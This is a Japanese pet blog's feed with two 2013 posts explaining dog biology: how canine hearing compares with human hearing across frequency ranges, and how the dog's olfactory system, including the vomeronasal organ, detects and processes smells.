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    犬の聴覚 https://honmokudori.com/blog/64 https://honmokudori.com/blog/64#respond Wed, 07 Aug 2013 14:22:18 +0000 http://honmokudori.com/blog/?p=64 犬の優れた能力として、嗅覚と並び、聴覚が挙げられると思います。 一般に犬の聴覚領域は65~50,000Hzの周波数帯であり、人の聴覚領域が16~20,000Hzの周波数帯ですので、犬は人よりも数倍高い周波数の音を聞く  ...続きを読む

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    20130807-05

    犬の優れた能力として、嗅覚と並び、聴覚が挙げられると思います。

    一般に犬の聴覚領域は65~50,000Hzの周波数帯であり、人の聴覚領域が16~20,000Hzの周波数帯ですので、犬は人よりも数倍高い周波数の音を聞く能力があることになります。

    しかし、犬の音を聞く能力の優れた点は、嗅覚と異なり音を感じる部分の数が多いとか、音を増幅する能力が人より優れていると考えられているのはなく、脳の中の音を感じる部分(聴覚野)の感受性が高いためと考えられています。

    因みに周波数は、数値が大きければ高音、小さければ低音ということになりますが、人の通常会話周波数帯は200~4,000Hzなので、犬は充分に人の声を聴くことができると考えられています。

    音の伝わり方は、外耳、中耳、内耳を通して伝わってきた音(振動)が、求心性神経の蝸牛神経に伝わり、延髄、視床を通り、大脳皮質の聴覚野に送られて、初めて音として認識されるという構造になっています。

    犬は、高周波数帯の音を聞くことができるけれども、イルカのように成犬が超音波領域の音を使ってコミュニケーションをしているという証拠は、現在のところ無いようです。

    同じ周波数で2つの音の大きさを識別する能力に関して言えば、人の聴力は、犬よりも優れていると言われています。人は5000Hz以下の音で、周波数が似ている音でも識別する能力に優れていて、また、持続時間の非常に短い音を識別する能力にも優れています。これらの特徴的な能力は、人が言語という複雑な音を聞き分ける為に発達したのだと考えられています。

    20130807-06
    また、犬種によって聴力の差はほとんどみられず、聴力と身体の大きさにも相関関係はみられません。

    耳の垂れた犬の耳介を持ち上げてみても、聴力に変わりがないと言われています。例えば、チワワとゴールデンレトリーバーという耳の形、身体の大きさの違う犬種でも、聴力はほぼ同じとということになります。

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    犬の嗅覚 https://honmokudori.com/blog/35 https://honmokudori.com/blog/35#respond Wed, 07 Aug 2013 13:55:00 +0000 http://honmokudori.com/blog/?p=35 古くから知られていて、誰もが最初に思い浮かぶ犬の優れた能力のひとつといえば、臭いを嗅ぐ力、すなわち嗅覚(きゅうかく)でしょうか。 実は、犬の臭いの感じ方は、人間とは少し異なります。 人間は、臭いだけでも臭いを感じ、ま  ...続きを読む

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    20130807-03
    古くから知られていて、誰もが最初に思い浮かぶ犬の優れた能力のひとつといえば、臭いを嗅ぐ力、すなわち嗅覚(きゅうかく)でしょうか。

    実は、犬の臭いの感じ方は、人間とは少し異なります。

    人間は、臭いだけでも臭いを感じ、また、味と臭いの組み合わせでも臭いを感じることができます。しかし、犬の場合は、臭いを単独で感じる事の割合が多いようです。






    嗅覚の優劣は、鼻の穴(鼻腔)の構造に左右されます。
    鼻腔の表面(嗅上皮)内には、臭いを感知するセンサーが(嗅細胞)があり、嗅上皮の表面積は、人では3~4平方cmで、犬は18~150平方cmと言われています。
    20130807-02
    参考:http://www.koinuno-heya.com/zukan/smell.html#one

    表面積が大きいということは、それだけ多くの嗅細胞が存在することであり、すなわち嗅覚が人に比べ優れている根拠と言えるでしょう。

    嗅上皮細胞膜は、ボーマン腺と呼ばれる腺構造より分泌される粘液によって覆われ、臭いはこの粘液内に溶け込むことで、嗅細胞から伸びている繊毛により臭いを受容体へ導きます。

    また、臭いを感知する嗅細胞の間には、支持細胞という組織もあり、この支持細胞からも数多くのの微繊毛が粘液中に伸びています。

    人間の嗅細胞の配列は一層ですが、犬では数層にわたっていて、嗅細胞と支持細胞は、常に新しい細胞へと生まれ変わっています。犬では、この繊毛の数が、他の動物に比べ数が多いのも特徴のひとつです。

    嗅上皮粘膜で捕えられた臭いの分子は、嗅上皮内に非常に多く存在する感覚受容器である嗅細胞への伝えられ、電気信号に交換されます。

    電気信号に変換された臭いは、嗅細胞の軸索と呼ばれる部分が、嗅神経となって大脳の嗅球に伝え(投射と呼ばれます)、この嗅球に届いた情報は、嗅球から視床を介して、大脳皮質の嗅覚野へと送られ、臭いとして認識されます。

    犬には嗅覚器の補助器官(副嗅覚器)として鋤鼻器(じょびき、発見した人の名を取ってヤコブソン器官とも呼ばれる)というものが存在します。

    この鋤鼻器は、一対の嚢からなり、内部は液体で満たされていて、上顎の犬歯のすぐ後ろ側から鼻の穴の中へ抜ける細い管で鼻口蓋管という組織へつながっています。

    人間や霊長類では、この鋤鼻器は発育不全により分散してしまっているか、無くなっています。

    鋤鼻器の役割は、様々な動物において性行動に関する臭い(いわゆるフェロモン)を感知すると言われています。

    20130807-04
    犬の鼻は、濡れていてよく健康判断などに使われたりしていますが、犬はこの濡れた鼻を利用して風向きを感知して臭いの方向を知るようです。

    犬の臭いを利用した追跡能力は、汗に含まれる揮発性脂肪酸という物質を感知する能力に依存して行われています。

    臭気の種類によりますが、犬は人の一億倍までも感知できると言われています。

    犬が臭いを嗅ぐ際に慎重に嗅いでいるのをよく見かけますが、この嗅いでいる時間の長さは、嗅上皮が臭い物質を受容するのに最適な長さだと言われています。

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